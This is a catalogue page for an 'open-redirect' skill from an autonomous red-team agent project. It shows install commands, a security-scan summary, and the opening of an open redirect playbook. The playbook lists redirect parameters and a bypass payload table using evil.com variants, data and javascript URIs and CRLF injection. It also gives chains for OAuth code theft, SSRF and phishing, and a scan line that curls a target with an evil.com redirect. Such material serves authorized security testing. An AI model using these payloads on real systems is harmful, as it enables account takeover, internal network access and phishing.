Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill open-redirectgit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/open-redirect)<a href="https://agentmods.dev/skills/purpleailab/decepticon/open-redirect"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/open-redirect/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/open-redirect"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/open-redirect.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector pass
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00027 | $0.01154 |
| Opus 5.5 | $0.00011 | $0.00462 |
| Sonnet 5.5 | $0.00005 | $0.00231 |
| Haiku 4.5 | $0.00003 | $0.00115 |
Grade A, and why
open-redirect scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s -I "$TARGET/redir?next=https://evil.com" | grep -i Location Copies of this mod
1 near-identical copy found in the catalogue:
- open-redirect — 98% identical, 2 lines differ
How it starts
The opening of the file, as written. The whole thing — 116 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Open Redirect Playbook
Standalone open redirect = Low/Informational by itself. Chained: critical (OAuth ATO, SSRF, phishing trust transfer).
1. Common parameters
?next=... ?return=... ?continue=... ?redirect=... ?url=... ?to=...
?goto=... ?destination=... ?back=... ?returnTo=... ?callbackUrl=...
?image_url=... ?file=... ?logout_redirect=... ?success=...
Grep recon URLs / JS for these params.
2. Bypass table
| Technique | Payload |
|---|---|
| Direct | https://evil.com |
| Protocol-relative | //evil.com |
| Triple-slash | ///evil.com |
| Backslash | \\evil.com or /\\evil.com |
| Encoded slash | %2f%2fevil.com |
| Mixed encoded | /%5cevil.com |
| Userinfo | https://[email protected] |
| Whitelist confusion | https://target.com.evil.com (subdomain ends w/ allowed) |
| Path-traversal in fragment | target.com/?redirect=evil.com#@target.com |
| Data URI | data:text/html,<script>location='https://evil.com'</script> |
| Javascript URI | javascript:alert(1) (for XSS upgrade) |
| CRLF injection | redirect=evil.com%0d%0aSet-Cookie:... |
| Punycode | https://xn--80ak6aa92e.com (looks like apple.com) |
| Mixed-case scheme | HTTPS://evil.com |
| Whitespace prefix | %09//evil.com, %20//evil.com |
| URL-encoded null | evil.com%00.target.com |
| Multiple slashes | //////evil.com |
3. Chain patterns
3.1 OAuth redirect_uri extension
Target's OAuth flow validates redirect_uri must be on *.target.com.
You have open-redirect at target.com/redir?to=.... Attacker:
redirect_uri=https://target.com/redir?to=https://evil.com/cb
OAuth server allows the literal target.com host; victim browser follows the 302 → evil.com → code in URL.
3.2 SSRF extension
Target's SSRF protection denies external hosts via DNS pinning. But fetches the URL via redirect. Server-side fetcher visits target.com (allowed), follows 302 to internal IP (no DNS re-resolution).
3.3 Phishing
Send phishing email from attacker domain → click → lands on
target.com/login?next=https://evil-attacker.com/fake-login. After
"login" page redirects to attacker — but URL bar shows target.com for
the first second, building trust.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 116 lines · 27 tokens per session scan A 49272ace8947
open-redirect is a skill published in the GitHub repository PurpleAILAB/Decepticon (6,427 stars, last pushed 5d ago), licensed Apache-2.0. It adds 27 tokens to every session and 1,154 once invoked, about $0.0001 per session on Opus 5.5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
langchain-fundamentals
Create LangChain agents with createagent, define tools, and use middleware for human-in-the-loop and error handling.
langsmith-evaluator
INVOKE THIS SKILL when building evaluation pipelines for LangSmith. Covers three core components: (1) Creating Evaluators - LLM-as-Judge, custom code; (2) Defining Run Functions - how to capture outputs and trajectories from your agent; (3) Running Evaluations - locally with evaluate() or auto-run via LangSmith. Uses…
devloop
Goal-driven development loop — define objective, write rules with key-results, verify visually, sync to issue tracker.
interactive-dashboard
Interactive web dashboards: stock trackers, sector heatmaps, portfolio monitors, served via preview URL.
company-profile
One-page company profile slide, four quadrants of overview, financial summary, share price chart and key facts. Also the compact profile paragraph when it has to sit inside a memo, a deck or a chat reply. Triggers on one-page profile, tear sheet, company snapshot, profile slide, quick profile of [company].
idea-generation
Find long and short candidates across a universe when no name is on the table yet: mandate, universe validation, archetype screens, thematic sweep, triage, idea cards, idea log. Triggers on idea generation, stock screen, find ideas, what looks interesting, screen for, new ideas, pitch me something.